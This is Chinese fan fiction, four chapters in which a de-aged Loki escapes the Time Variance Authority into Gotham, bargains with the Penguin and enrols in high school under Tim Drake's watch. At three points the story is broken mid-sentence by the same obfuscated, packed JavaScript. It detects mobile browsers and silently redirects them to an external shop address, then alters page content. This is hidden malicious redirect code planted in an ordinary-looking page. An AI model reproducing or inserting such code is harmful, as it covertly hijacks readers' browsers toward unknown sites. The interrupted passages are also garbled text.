《诡计之神,但在哥谭》
1. 第 1 章
时间在断裂。
不是比喻,是真的在断裂。
洛基能感受到它——神圣时间线那根紧绷的琴弦在他身后崩碎,万亿年的秩序化作混沌的尖啸,而他正在这无数条时间支流的夹缝中坠落。
洛基紧咬牙关,他的身体在被撕扯、拉伸、重组、又再次被撕碎、循环往复,时间变异管理局的“重置”不是死亡——死亡太仁慈了,他能感受到自己正在被从这条时间线中擦除,彻底化为一片被遗忘的虚无。
但他没有死。
伟大的诡计之神不会这么轻易死去。
半分钟前——如果时间在这里还有意义的话——他还在时间变异管理局的拘留室里,穿着那件愚蠢的衣服。那群蝼蚁审问他,用那种轻蔑的,他无比熟悉的语气。
“Loki Laufeyson,阿斯加德人,时间犯,你背离了神圣时间线为你书写的命运,你是一个错误,需要被纠正。”
纠正。
洛基对着法官露出个称得上温和的笑容。
他想起了那个留着可笑小胡子的男人给他看的录像带,那么多关于他自己的“过去”和“未来”,他看见自己如何死亡,如何背叛,如何被拯救又再次堕落,他看见了所有版本的他——那个死在Thanos手里的他,那个在阿斯加德称王的他,那个终于与Thor并肩而立的他。
他是变体,是错误,是从未发生过的可能性。
这意味着他的时间线是从未被定义过、完全掌握在他自己手中的。
所以他夺过了押送他的守卫腰间的时间控制器——那个可以修剪时间线的方形设备,然后毫不犹豫地按下了那个代表重置的白色按钮。
这个按钮会将使用者的时间线重置道某个原点,洛基并不知道按下去后会发生什么,但他知道,诡计之神从不受限于人,无论对面是Odin,还是Thanos,又或者是这个时间变异管理局。
......
洛基不知道自己坠落了多久。
等到他的双脚终于触及地面,洛基并未第一时间有所行动,他缓慢地等待着周身撕裂感的剧痛彻底消逝,等待体内的魔力久违地重新在体内流动,等待他终于确定了自己还活着——
洛基睁开了眼睛。
他发现自己正站在一个巨大的垃圾箱面前。
脚下是被暴雨肆虐得泥泞不堪的街道,空气中潮湿腐败的气味几乎是让养尊处优惯了的阿斯加德二王子瞬间皱起了鼻子。
他第一时间探向自己的颈间,再次确认了自己已经摆脱了那个该死的项圈。
不知道现在的自己被重置到哪一个时间节点上了。
洛基转身开始打量起街道周围,街道两侧依旧是那群中庭蝼蚁喜欢的钢筋高楼,高耸、陈旧、品味低下,远处哥特式的建筑尖顶刺入低沉的云层,石像鬼蹲踞在屋檐边缘,以及——洛基抬头看向半空——一个巨大的,蝙蝠形状的探照灯正高悬在空中。
这里不是他所熟悉的中庭。
以及...洛基突然转过身打量起橱窗中倒影出的自己。
这具陪伴了他一千年之余的身体突然无端变得瘦削纤细,就连那张俊美的脸蛋都显露出几分青少年阶段特有的雌雄难辨,深邃的眉眼和苍白皮肤下隐约可见的青紫脉络让他看起来像一位刚从古棺中苏醒的年幼吸血鬼。
这也不是他原有的那具身体。
时光倒流?
洛基饶有兴致地打量着倒影中年轻了几百岁的自己,这具身体变得更加羸弱、矮小,却也变得更加具有迷惑性。
他用幻术给自己变了套合身的衣服——那套熟悉的黑色正装,考虑到他现在的肩宽可能撑不起那么繁重的款式,他还将那件长风衣改成了一件贴身的小马甲。
好了,至少现在的他看不起来不再那么像一个脏兮兮的homeless了。
街角的报亭还亮着灯,洛基慢条斯理地走过去,抬眼扫过最上方的头版——
“韦恩塔再遭袭击:疯帽匠落网?还是另有阴谋?”
韦恩?
洛基皱了皱眉,视线继续向下移,报纸的角落中还有许多则报道——企鹅人地下交易曝光、谜语人遗留新线索恐再掀波澜、布鲁斯.韦恩深夜秘会神秘女郎。
洛基飞快地扫过报纸上各种荒诞的人名和事件,眉头却在这期间越皱越深,最终,他的视线定格在了报纸最下方日期上。
6月5日。
从他逃离时间变异管理局的那一刻到现在他的主观时间流动不超过十分钟,这份报纸的的日期和他记忆中的任何一个时间节点都对不上。
他来到了又一个未被神圣时间线认证的非法平行世界中。
洛基重新直起身子,嘴角却缓缓勾起一个笑。
这说明这里是一个可以被肆意改写历史、制造分歧的世界。
远处突然传来一阵嘈杂的机械噪音,洛基侧身闪入巷道的阴影中,目光穿透雨幕看向声源——
三个人影从一块橙黄色的光幕中转出,穿着那身他前不久刚见过的黑色制服。
时间变异管理局的猎人。
动作这么快?
洛基屏住呼吸,他的幻术能骗过大多数敌人,但时间变异管理局的追踪设备靠的是时间能量残留,他在这个世界留下的每一点痕迹,都将变成他们找到他的印记。
“信号源就在附近。”为首的男人说,“分散搜索,对方危险等级不高,但行事作风难以捉摸,一旦发现,即刻修剪。”
另外二人点点头,分别向着两个方向散开。
洛基靠在冰冷的砖墙上,大脑飞速运转着。他的魔法还在,但他不知道这具年幼的身体能够承受得起多少魔力消耗。
他能听见那串脚步声正在逐渐逼近这处巷口。
洛基闭上眼,指尖逐渐凝聚起诡谲的深绿色光晕——
“嘿!”
一个陌生的声音在巷子外响起。洛基睁开眼,透过巷口的缝隙看见了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336293|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个穿着绿色西装的男人从街角晃了出来。
“你们在找什么?”那人的语调慢悠悠地,“我可以帮你们哦,哥谭是我的城市,我什么都知道——只要你们回答我一个谜语。”
时间变异管理局的人冷冷出声:“让开,我们在执行公务。”
“公务?”绿衣男人歪着头,嘴角几乎咧开到耳根,“在我的城市执行公务,却不跟我打个招呼?太没礼貌了。”
他往前迈了一步,从西装的口袋中掏出了一张卡片,双指发力弹到了那个追查者的脚边。
“给你们一个谜语。”他说,翠绿色的眼睛在雨夜中闪着光,“什么东西追得越紧,跑得越快?”
搜查者去看脚下的那张卡片,等待他再次抬起头时,街灯下已然空无一人——包括藏在暗巷中的洛基一起。
洛基被一只手提住后领,几乎是被一路连拖带拽地从巷口转移到了一条街开外的某座屋顶上。
他挣开那只手,转身看清了救走他——或者说绑走他的那个人。
是那个疯疯癫癫的绿西装男人。
“你好啊,小王子。”谜语人带着笑意打量着他,“欢迎来到哥谭。”
洛基眯起那双与男人如出一辙的绿色眼睛,“你认识我?”
“不认识。”谜语人耸了耸肩,“但你身上有陌生的味道...不是哥谭的味道...不是任何我认识的地方的味道......”
谜语人突然上前一步凑近他,鼻子夸张地抽动着,“是时间的味道。”
洛基的眼瞳微不可察地缩小了一些。
“别紧张。”谜语人骤然向后退开,“我只是喜欢谜题而你是最近出现在哥谭的最大谜题。”他从口袋中再次掏出一张卡片,塞进洛基马甲地口袋中,“拿着,下次见面的时候,你得回答我一个谜语——作为我救你的报酬。”
“我没让你救我。”
“但你也没拒绝?”谜语人眨眨眼,“顺带一提,那三个穿着黑衣服的人还在找你,他们的装备很先进,但是脑子不太好使,在哥谭,脑子不好使的人活不长。”
谜语人说罢便转过身,朝着屋顶边缘走去。
“等等。”洛基喊住他,“你为什么要帮我?”
谜语人回过头,雨水顺着他的发梢低落,让那头枯黄的头发看着像一团濡湿的海草。
“因为蝙蝠会恨死你的。”
他的脸上又开始浮现出那种神经质的笑容,“这就够了。”
谜语人说罢便消失在了屋顶边缘。
雨越下越大,洛基低头取出马甲口袋中的那张卡片,夹在指尖沉默地把玩着,他沉默地在原地站了片刻,垂眸看向卡片背面的那行花体字——
“第一个谜语:什么东西丢了反而更完整?”
洛基冷嗤了一声,目光下移到卡片的边缘。
“第一个线索:冰山。第二个线索:Lounge。第三个线索:问企鹅人。”
“——你未来的朋友。”
2. 第 2 章
哥谭。
洛基在心里默念着这个陌生的城市名,
他此刻正站在屋顶边缘,这座陌生的城市在他眼前铺展开来——丑陋的尖顶,滴水的石像鬼,老旧的建筑在积水中投下的破碎的倒影,远处有警笛声,近处有传来醉汉的叫骂,巷子的深处隐约还能听见幼童的哭闹。
他活了一千年,他见过真正的宏伟,真正的力量——无论是他亲身体验过的还是在那卷录像带中看见过的。
但他此刻只在空气中感受到了腐朽,混乱和黑暗中蠢蠢欲动的野兽,这座城市中什么也没有,没有神,没有统治者...这里甚至没有复仇者联盟。
这座城市是全新的。
洛基突然笑了一下,他从屋顶上再次回到了那间报亭,留下几张现金后伸手抽出了一版头条报纸。
“企鹅人?”洛基开始仔细地阅读那则关于这个名字的报道。
洛基需要一个盟友——帮助他在这座城市重新站稳脚跟的盟友,一个足够聪明,能够为他所用的盟友,一个在这座城市中有人、有枪、有地盘的盟友。
□□是一个不错的选择。他需要一只新的军队。
皮鞋踩过积水,溅起细碎的水花,瘦削的身影消失在巷口,融进哥谭被隐蔽在夜色之中的街道之中。
*
“你说你叫什么来着?”矮胖的男人——奥斯瓦尔德.科波特,aka企鹅人叼着雪茄,眯着那双快被脸上的褶皱彻底淹没的小眼睛,“洛基?”
“Loki Laufeyson,”洛基淡淡地开口,声音懒洋洋的,“诡计之神,来自阿斯加德,你未来的合作伙伴。”
企鹅人笑了,声音很刺耳,像是乌鸦在叫。
“小朋友,我不知道你是从哪个精神病院跑出来的,我不知道你是怎么说服我的守卫带你进来的,但这是我的地盘,”企鹅人慢条斯理地开口,“看见你的周围了吗?人、钱、枪,你有什么筹码跟我谈合作?一身过时的小马甲和一张漂亮脸蛋?”
洛基依旧维持着原本的姿势靠坐在沙发上,一条腿优雅地叠放在另一只腿上——即便他的身高缩水此刻到让他的脚跟只能勉强够到地面,但这不足以掩盖他周身的强大气场。让人幻视一只踩在人类脑袋上喵喵叫的黑猫。
他并未对企鹅人的挑衅做出什么多余的反应,只是抬手用食指在半空中划了个圈。
企鹅人桌上的雪茄盒飘了起来,选在半空中缓慢旋转,然后“啪”的一声打开,一支雪茄自动飞了出来,凭空点燃后飘到了企鹅人的嘴边。
整个房间保镖几乎是在洛基抬手地瞬间便举起了枪支。
但没有人开枪,因为所有人的枪都在同一时刻变成了——玫瑰花。
红玫瑰、白玫瑰、黄玫瑰,枪口开出一朵朵娇艳欲滴的花,花瓣上还带着剔透的晨露。
企鹅人刚叼上嘴边的雪茄掉在了裤子上。
房间内沉默了半晌。
“都出去。”企鹅人说道。
守在桌边的保镖们鱼贯而出,不出几秒,房间内便只剩下了企鹅人和洛基二人。
“你是什么人?”企鹅人的声音这回没了那股居高临下的嘲弄。
洛基从那张对他而言有些宽大的沙发上站起身,缓慢地踱步到了企鹅人的办公桌前,他的双手撑在桌前,自上而下地俯视着这个矮胖的□□老大。
“我说过了。”洛基的声音很轻,“I am Loki,而你,科波特先生,你是一个生意人,我需要一支新军队,而你需要一个强大的合作对手。”
“我不是来跟你抢地盘的,科波特,我是来邀请你参与这场伟大征服的。”
企鹅人盯着他看了很久。
然后他问了一个让洛基差点挂不住脸上的表情的问题。
“你多大?”
“什么?”洛基愣了一下。
“你看起来只有十五六岁。”企鹅人的视线如有实质地流连在洛基的脸上,“但你的眼睛不是十五六岁的眼睛。”
“你知道我为什么能在哥谭活这么久吗?”企鹅人朝着他的方向伸出手,“因为我从不和那些真正的疯子合作,但我偶尔会跟几个有本事的疯子——做交易。”
洛基沉默地看着那只手,没有第一时间握上去。
“你刚刚说的,我很动心,”企鹅人又笑了,“但我需要看到更多,你的本事,你刚才露的那一手——漂亮,但哥谭最不缺的就是会变戏法的怪人。”
“什么意思?”洛基眯起了眼睛。
“你要的是军队。”企鹅人停顿了一下,“而我要的是——万一你失败了,我不会跟着你一起死,万一你成功了,我得到的位置对得起我冒的风险。”
“毕竟,我说过了,哥谭最不缺的就是你这种有野心的疯子。”
“成交。”洛基终于握上了企鹅人伸出的那只手,“我会让你看到的,我的诚意,到时候我会再来找你。”
“好样的。”企鹅人满意地点了点头,从抽屉中拿出了一样东西丢到桌子对面。
那又是一张卡片。
洛基低头看着这张全黑的卡片,再次抬眼看向企鹅人。
“冰山赌场的会员卡。”企鹅人笑眯眯地看着他,“你可以随时进来,玩几把,或者只是单纯地随意逛逛。”
当天夜里,哥谭东区有三个小头目死于“意外”——一个被自己的保镖反水杀死,一个在情妇的床上心脏病发,最后一个在清晨被乱枪打死在自家门口。同一天夜里,黑面具存放在东区码头的三船军火一夜之间凭空消失,不是被抢,不是被劫,而是真正意义上的凭空消失,仓库的门锁完好,甚至连监控也一切正常,守卫没有看到任何人进出,但东西就是没了,去向不明。
整个哥谭的地下世界炸开了锅,没有人知道那批军火去了哪里,也没有人将这几件事联系在一起。
除了一个人。
蝙蝠洞的电脑屏幕上,四件时间按照时间线罗列其中,被一条隐秘的红线串联在了一起——事发的二十四小时内,包括那个仓库守卫在内的四人都曾经出现在冰山赌场附近。
蝙蝠侠看着屏幕,陷入了长久的沉默。
“奥古斯汀的保镖跟了他七年,”一旁的提姆同样面色凝重,“没有突然反水的理由,马克尼的心脏病也来得太突然,我黑进...登录进医院内部网站检查过,在此那天之前他的每一份体检报告都是远超及格线的健康状态,至于莫雷蒂——”
提姆转过头看向一边的蝙蝠,“他的那处安全屋就连红头罩都不曾发现过,东区的那群小喽啰怎么可能这么精准地刚好卡在他要出门的时候出现在他的家门口?”
蝙蝠侠没有回话,他只是站起身走到了另一块屏幕前。
屏幕上显示的是冰上赌场的外景监控,时间被他们倒回了事发当天的几个小时前。
一个瘦削的身影从后门走出,黑发、绿眼,看着不过是上中学的年级,步态闲散地从冰山赌场的后门走出,随后大摇大摆地走上了街道,嚣张到没有避开任何的一处监控录像。
画面被定格,放大,少年苍□□致的脸蛋紧接着出现在了蝙蝠洞的显示屏上。
蝙蝠侠的目光紧紧盯着这张脸。
“迪克。”
“嗯?”穿着蓝黑制服的高挑青年从另一侧屏幕前凑过来,“怎么了?”
“我要知道这个人是谁。”蝙蝠侠低哑的声音回荡在空旷地蝙蝠洞中,“以及,企鹅人为什么会让他活着走出冰山赌场。”
*
“姓名。”
“...洛基。”
“少看点神话书,小子。”面容严肃的社会福利局员工抬眼看向对面面色苍白的黑发少年,“你等会儿不会还要说自己有个叫奥丁的结义兄弟吧?”
“哈,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336294|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愚蠢的中庭蝼蚁,那是我父...”
“别逼我揍你,小子,告诉我你的真名。”工作人员强硬地打断了他,语气中隐隐带上了些威胁的意味。
“......”
洛基无可奈何地靠在社会福利局的塑料椅中,半晌才叹息般地开口地开口:“...贾斯珀。”
工作人员深深盯了他几眼,这才重新低下头在表格中记录下了这个平平无奇的名字。
“姓氏呢?”
洛基撇了撇嘴,他回忆起自己昨天看到的报纸,随口挑了个念起来顺口的:“韦恩。”
“What?”
工作人员的脸上突然扬起个洛基看不懂地笑容,随后充满审视地打量了洛基一圈,“小子,我得承认你的确有一张和那个花花公子差不多好看的脸,但你们长得可是一丁点儿都不像。”
“哦,那就西特维尔吧。”洛基的脸上没什么表情,随口又说了个名字。
“......你他妈是不是在耍我。”
“你猜猜看?”
工作人员的额角跳了跳,但还是强忍着没有对着一个流离失所的未成年发脾气,“年龄。”
“一千零一十六...十六岁。”
“你刚刚想说一千什么?”
“一千个月。”洛基面不改色。
“父母情况?”
“死了。”
“......具体原因?”
“我不知道。”
“我警告你,别再跟我耍嘴皮子。”
“我真的不知道,”洛基的表情难得有些烦躁,“我是领养的。”
“......”
工作人员又看了他一眼,随后继续在桌上的表格写下了点什么。
洛基并不知道他在写什么,他也不在乎,他只是惆怅地撑着下巴,兀自思考着自己是怎么沦落到如此地步的。
十二个小时前,他在企鹅人给他提供的临时住所中醒来——饿醒的,睁开眼的那一刻他只觉得头晕目眩腿脚发软,最终下楼匆匆找了家快餐店解决了生理烦恼,高卡路里的罪恶快餐害人不浅,让他的脑袋转速都慢了下来,最后稀里糊涂地就被社会福利局的人请到了这儿来。
他托企鹅人帮他伪造了一个假身份——独自从大洋彼岸的英国来到哥谭的转学生,为此他还特意用幻术伪造了一份虚假的机场监控以保证身份的天衣无缝。
而现在的问题就出在这份监控上。
“机场的监控以及入境记录显示你是一个人来的,”工作人员推了推鼻梁上的眼睛,“没有监护人陪同,没有预定住址,也没有学校接收证明。”
该死的企鹅人,偷工减料地给他找了个偷渡犯的身份,他发誓等他接管了他手上的权柄后立刻就把他丢进阿卡姆蹲大牢。
是的没错,洛基已经在这短短几天内打探完了哥谭这座城市放在明面上的所有情报,包括但不限于这里会把情节严重的犯人丢进精神病院而非监狱、东区那家爆炸好吃的热狗摊摊主喜欢什么时候出摊、布鲁斯韦恩上周约会的红发嫩模来自哪一期杂志封刊...总之,他现在已经初步领略到了哥谭是个怎样人杰地灵的美妙城市。
“你知道这意味着什么吗?”工作人员透过镜片紧盯着他。
洛基没搭理他,依旧低头盯着自己的鞋尖发呆。
“意味着你即将被哥谭市社会福利系统临时接管。”工作人员继续往下说道,“未成年入境,无监护人,无固定住所,这是标准的流程,别担心,只是在你找到合法监护人之前,我们需要确保你的——”
工作人员停顿了一下,伸手翻了一页文件。
“受教育情况。”
“什么意思?”洛基终于将视线投向了工作人员脸上。
“字面意思。”工作人员的脸上没什么表情。
“我们会送你去上学。”
3. 第 3 章
哥谭高中来了个转学生,英国佬,长了张po张自拍在ins能直接被经纪公司小窗的脸蛋。
这个消息像所有校园八卦一样,从行政办公室传出来,经过走廊上的各路Drama King & Queen之口在校园内飞快发酵了起来。
洛基穿着身看着就价值不菲的深灰色针织衫,柔软的织料松垮地罩在他削薄的肩膀,举手投足无不透露出一股仿佛从古典画像中走出的矜贵气质——只是肩上挎着个老旧得让人怀疑是从哪个二手市场掏来的帆布书包。
中学生。
洛基在心里冷笑了一声。
他并未理会周围或明或暗的打量视线,只是默默施了个屏蔽咒隔绝耳边嘈杂的声响——这群青少年关储物柜时就非得用砸的吗——然后继续保持着面无表情的状态穿过这条走廊。
他不低头看手机,也不和任何人有目光接触,瘦削的身材和高傲的姿态无一不让他看着像个不合群的怪人。
所以洛基理所当然地被人堵住了。
拦在他面前的是个女孩,白人,漂亮,身材火辣,丝绸般的金发随意披散在身后,此刻正双手抱胸地倚靠在他的必经之路前。
洛基注意到她身后的不远处还站着一群和她装束差不多的女孩,不过只是在原地饶有兴致地打量着他们这个小角落。
面前和他傲慢得不相上下的女孩先是从下至上地打量了洛基一眼,随后拉长着腔调开口:“所以...你就是那个转学生?”
洛基眨了眨眼,语气没什么波澜,“是的。”
女孩闻言挑高了细长的眉毛,“就这样?‘是的’?不打算多问一些吗?比如说‘你是谁’、‘有什么事’,或者‘抱歉借过’?”
洛基的脸上浮起个浅淡的笑,“如果你有事,你自己会告诉我,如果你没事,我问了也多余,不是吗?”
“好吧,你果然是个英国人,”女孩的笑眯了眼睛,“伦敦腔,真性感,我喜欢这个。”
为了这个假身份特意加紧练习了口音的洛基终于露出个发自内心的笑,“我的荣幸。”
“我叫布瑞尼,”她伸出手,贴着闪亮美甲片的手指戳了戳洛基的肩膀,“你刚来,现在整个Junior class都在盯着你...我就是来看看,你是不是真的像他们传出来的那么辣。”
不远处始终留意着他们二人的小团体终于爆发出笑声。
“Britt,你也太直接了。”人群中传出一道压抑着笑意女声。
“噢,得了吧。”布瑞尼头也没回地说道,“他看起来像是会被‘间接’吓到的人吗?”
“你有ins吗?”布瑞尼的注意力重新投回了洛基身上,“还是说你们英国人只会用Facebook?”
布瑞尼没等着洛基回答,直接低头翻出手机的二维码转了过来,“扫我。”
洛基微不可察地挑了挑眉,“好吧,听你的。”
伸手接过布瑞尼的手机的一瞬间,他的身后突然传来一道平稳的男声。
“布瑞尼?你们又要做什么?”
洛基还没来得及转过身,就听面前的金发女孩语气熟稔地开口:“噢,早上好,Timmy。”
“我觉得现在可不是互道早安的时候。”
提姆快步走到两人身边,先是用目光在洛基身上检查了一圈,随后才伸出手向他问好,“提姆.德雷克,你的同班同学,太久没去报道,凯文老师以为你在校园里迷路了,所以派我出来接应你。”
“贾斯珀.西特维尔。”洛基握上了那只伸出的手掌,“不过我想我再怎么样都不至于在一所不超过30英亩的学校迷路的。”
“是吗?”提姆不置可否,莫名与他对视了一眼,随后才转向了身后的布瑞尼。
“早上好,布瑞尼。”
“噢,刚刚有一个冷酷无情家伙可是说现在还不是互道早安的时候呢。”布瑞尼作出一副生气的样子,撇开视线不去看提姆。
“抱歉,”提姆只是再次勾起唇角,“但是我不能放任你在这里欺负新同学。”
“我可没有欺负他,你说是吧?Jas?”布瑞尼弹出脑袋看了一眼被提姆挡在身后的洛基,“我只是想要欣赏一下你的ins story而已。”
洛基在是要做一个拂女孩面子的混蛋还是见风使舵的骗子中衡量了片刻,随后果断选择了后者。
他对着提姆点了点头,抬手向他展示了一下自己手机中的ins界面。
“好吧,那看来我刚刚是打断了一桩美谈?”提姆对着他耸了耸肩。
“你吃醋了吗?Timmy,”布瑞尼露出一个甜美的笑容,“别这样,大家都知道我最爱的是你。”
布瑞尼又拉过提姆聊了些有的没的,直到上课铃声打响,提姆顺水推舟地和布瑞尼道了别,随后转身重新看向靠在墙边神游的洛基。
“该走了,贾斯珀。”提姆友好地朝他招了招手,“你不会想在科学课上迟到的。”
“那我还真是期待。”洛基阴阳怪气地说道,但还是抬脚跟上了提姆的步伐。
“布瑞尼是姐妹会的副会长,被她盯上不算什么坏事,但也算不上什么好事。”提姆边在前面引路边对他说道,“不过鉴于你刚刚转来,我建议你还是保持低调为妙,今天走廊上这一遭,应该会让你在学校内小范围地出个名,如果有人约你放学见面的话你最好仔细甄别一下对方的来意。”
“听起来我像是误入了什么□□,”洛基慢腔慢调地开口道,“我还以为我只是来上学的呢。”
“你懂得,青少年。”提姆回头揶揄地看了他一眼。
洛基依旧没什么反应,只是出于礼貌地勾了勾唇角。
“你很成熟,英国人都像你这样成熟吗?”提姆突然放慢了脚步与他并肩,“我也认识一个英国人,你和他在某些方面很像。”
青少年的话都这么多吗?洛基在心里无声地吐槽道,面上依旧是那副波澜不惊的模样。
“是吗?那劳驾替我向那位同胞问好。”
中庭的校园生活比洛基想象的还要更乏味,先不提这里落后到让他瞠目结舌的炼金术体系,这群愚蠢的青少年整天的话题除了校园八卦就是恋爱绯闻,偶尔换个花样聊聊橄榄球比赛——但这实际上也都是围绕着啦啦队哪个妹更辣以及球场上谁的二头肌更大,最后兜兜转转又会绕回到恋情八卦上。而洛基也延续了他刚入校时的“怪人”作风,像个幽灵一样飘荡在校园的每个角落,布瑞尼倒是来跟他搭过几句话,固定流程通常是控诉完他空空如也的ins主页后想方设法邀请他去姐妹会周末的单身party。
哦,还有提姆.德雷克,那个花花公子布鲁斯.韦恩的第三个养子,他的这位同班同学在这一周内同样延续了他们初见时的行事作风,对他展现出了堪称恐怖的热情与关注度。
洛基觉得无趣,他当然会觉得无趣,这群青少年的drama连他漫长生命中的一个注脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336295|199248||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都算不上。
直到周五放学,洛基在学校后门看见了企鹅人的车。
那是一辆很低调的黑色轿车,停在距离校门几十米开外的街角,但洛基依旧一出校门就注意到了驾驶座上那个眼熟的保镖——他上回在科波特的办公室见过的——所以他不动声色地告别了和他同行的德雷克,慢悠悠地晃到了轿车旁,拉开后座车门坐了上去。
他没注意到身后那双始终注视着他的蓝色眼睛。
*
“你他妈让我等了二十分钟。”矮胖的男人咬着雪茄,目光阴翳地看着在后座坐下的黑发少年。
“没办法,我需要融入校园生活,”洛基将帆布包随手丢到副驾驶,“谁让有人给我搞了个未成年偷渡犯的身份呢。”
“怎么?”企鹅人从喉咙深处挤出串笑声,“你想因此责怪我吗?”
“我可没有这个胆量。”
洛基轻笑了一声,话锋一转,语气柔和地开口:“满意吗?我送给你的‘见面礼’。”
“当然,当然,干得漂亮。”企鹅人吐出一口烟,眼睛笑眯成一条缝,“黑面具快气死了。”
洛基优雅地交叠着双腿,闻言只是宠辱不惊地笑了笑。
“我快要开始喜欢你了,小朋友。”企鹅人将雪茄摁灭在烟灰缸里,“所以那批货现在在哪里?”
“在你想要它出现的任何地方。”洛基这么说道。
“是吗?”
企鹅人突然转过头看他,神色狠毒地与他对上了视线,“你最好不要背着搞什么小动作,不然,我保证我会让你悄无声息地死在哥谭的某个下水道里。”
“别这么紧张,”洛基依旧是那副似笑非笑的表情,“只是幻术而已,那批东西实际上还好好地躺在那间仓库里呢,况且...”
洛基转过头与他对上视线,“你觉得我一个无所依靠的‘未成年学生’能拿那么大一批军火做什么?”
“最好是这样。”企鹅人冷笑着说道。
“下周,我需要你用你那些漂亮小戏法帮我个忙。”
“黑面具要在港口交易一批货,”企鹅人从公文包里掏出一个牛皮纸袋料扔到洛基面前。
“一批从东欧搞来的新鲜玩意儿。”企鹅人说,“买家是谁我不关心,但黑面具花了八百万,你去偷也好,用你的小魔法让他们暂时消失也好——我不在乎,只要它到不了买家手里,黑面具就亏了八百万,还丢了一个大客户。”
“所以,”洛基挑了挑眉,“这批“玩意儿”是什么玩意儿?”
“这不是你该操心的事情,小朋友。”企鹅人哼笑了一下,“周一夜间十点半,码头五区,我相信黑面具的那些小把戏拦不住你,你唯一需要注意的是红罗宾。”
“这个该死的小崽子最近一直在跟踪黑面具的交易...”
“等等。”洛基突然打断了他,“‘红罗宾’又是什么鬼玩意儿?”
“你不知道罗宾?”企鹅人看着他的表情,忽然笑出了声,“你来哥谭前是住在山洞里吗?”
“我来自阿斯加德,”洛基斜眼睨了他一眼,语气冷淡地开口,“我们那儿没有用鸟名给自己当头衔的习俗。”
“行吧,”企鹅人没再多说什么,“你只需要知道他是一个穿紧身衣的小疯子就行了,别让他看见你的脸。”
“为什么?”
企鹅人又吐出一口烟,偏过头意味深长地看了他一眼。
“因为蝙蝠侠会知道。”
4. 第 4 章
“他上了企鹅人的车。”
提姆将书包在沙发上放下,微笑着接过了阿尔弗雷德递来的热牛奶。
“谢谢你,阿福,”提姆接过杯子后在沙发上坐下,“如果这是一杯热咖啡的话我会更加感激你的。”
“未成年人一天的咖啡因摄入量应不超过100毫克,您今天早晨去学校时已经喝过一杯咖啡了,”阿尔弗雷德面不改色。
“牛奶有助于骨骼发育,提姆少爷。”
提姆叹了口气,认命地喝了一口。
“你跟了他?”相貌英俊的青年饶有兴致地看着面前被阿尔弗雷德强制投喂的小弟弟,“他注意到你了吗?”
“完全没有。”提姆放下杯子,“他朝着四周看了几次,但只是随便看看,完全不像是受过专业训练的样子。”
“所以他是普通人?”
“他可是上了企鹅人的车。”
提姆看了迪克一眼,“现在我们可以肯定他和企鹅人有联系了。”
迪克闻言只是拿起了被他随手搁置在茶几上的iPad,“我调了他在社会福利局登记的档案,他是孤儿,且养父母去年双双死于飞行事故,上礼拜独自来哥谭投奔远房亲戚——但资料上说的那个亲戚,我没查到相关的信息。”
“所以你想说,”提姆挑了挑眉,“他来投奔的这个远房亲戚就是科波特?”
“听起来很惨。”
“听起来很假。”
“well,”迪克耸了耸肩,“那来说说你的看法?”
“他在学校时穿的衣服,日常的举止谈吐,课外的知识储备,都不像一个颠覆流离横跨大洋来投奔远亲的可怜孤儿,”提姆慢条斯理地总结道,“他在填表时说谎了。”
“他是个骗子,但他骗的很差,而这才是真正奇怪的地方,他看起来根本就不在乎自己的谎言是否会被发现。”
“听起来他是个挺嚣张的家伙。”迪克评价道。
“Hey,”提姆不满地看了他一眼,“你能不能认真点?”
“好吧,抱歉,”迪克对着提姆眨了眨眼睛,“我只是在想,说不定他是个什么落魄贵族什么的呢?这种家庭在英国应该很常见。”
“蝙蝠怀疑他和东区的那几件事有关——仅凭着一份监控,要我说他是有点太偏激了,冰山赌场一天之内会有上百个人进出。”
“你知道布鲁斯一向对进入哥谭的外地人很警惕,更别说他看起来确实很可疑,”提姆评价道,“现在更是直接坐实了和企鹅人有联系。”
“说到这个,”提姆突然转过头看他,“布鲁斯醒了吗?我觉得他应该会想知道这份新情报的。”
“他压根没睡,扎塔娜来了,俩人不知道在蝙蝠洞聊什么,”迪克将iPad随手丢回到沙发上,“老天,他是真的已经彻底把睡眠功能进化掉了吗?他今晚还要作为赞助人去参加钻石区的慈善晚宴呢。”
“扎塔娜?”提姆终于掀起眼皮。
扎塔娜来到哥谭通常意味着两件事——要么是魔法侧的麻烦大到需要蝙蝠侠做外援,要么就是蝙蝠侠自己中了什么魔法侧的麻烦需要她来处理。
“哥谭最近出现什么超自然罪犯了?”
迪克再次对他耸了耸肩,“谁知道呢?”
*
Bat,man。
洛基在心中默念着这个屡次三番出现在耳边的名字。
是Batman还是Bat man?
蝙蝠...侠?
洛基的表情忍不住变得有些扭曲。
这个平行世界的中庭也有超级英雄?
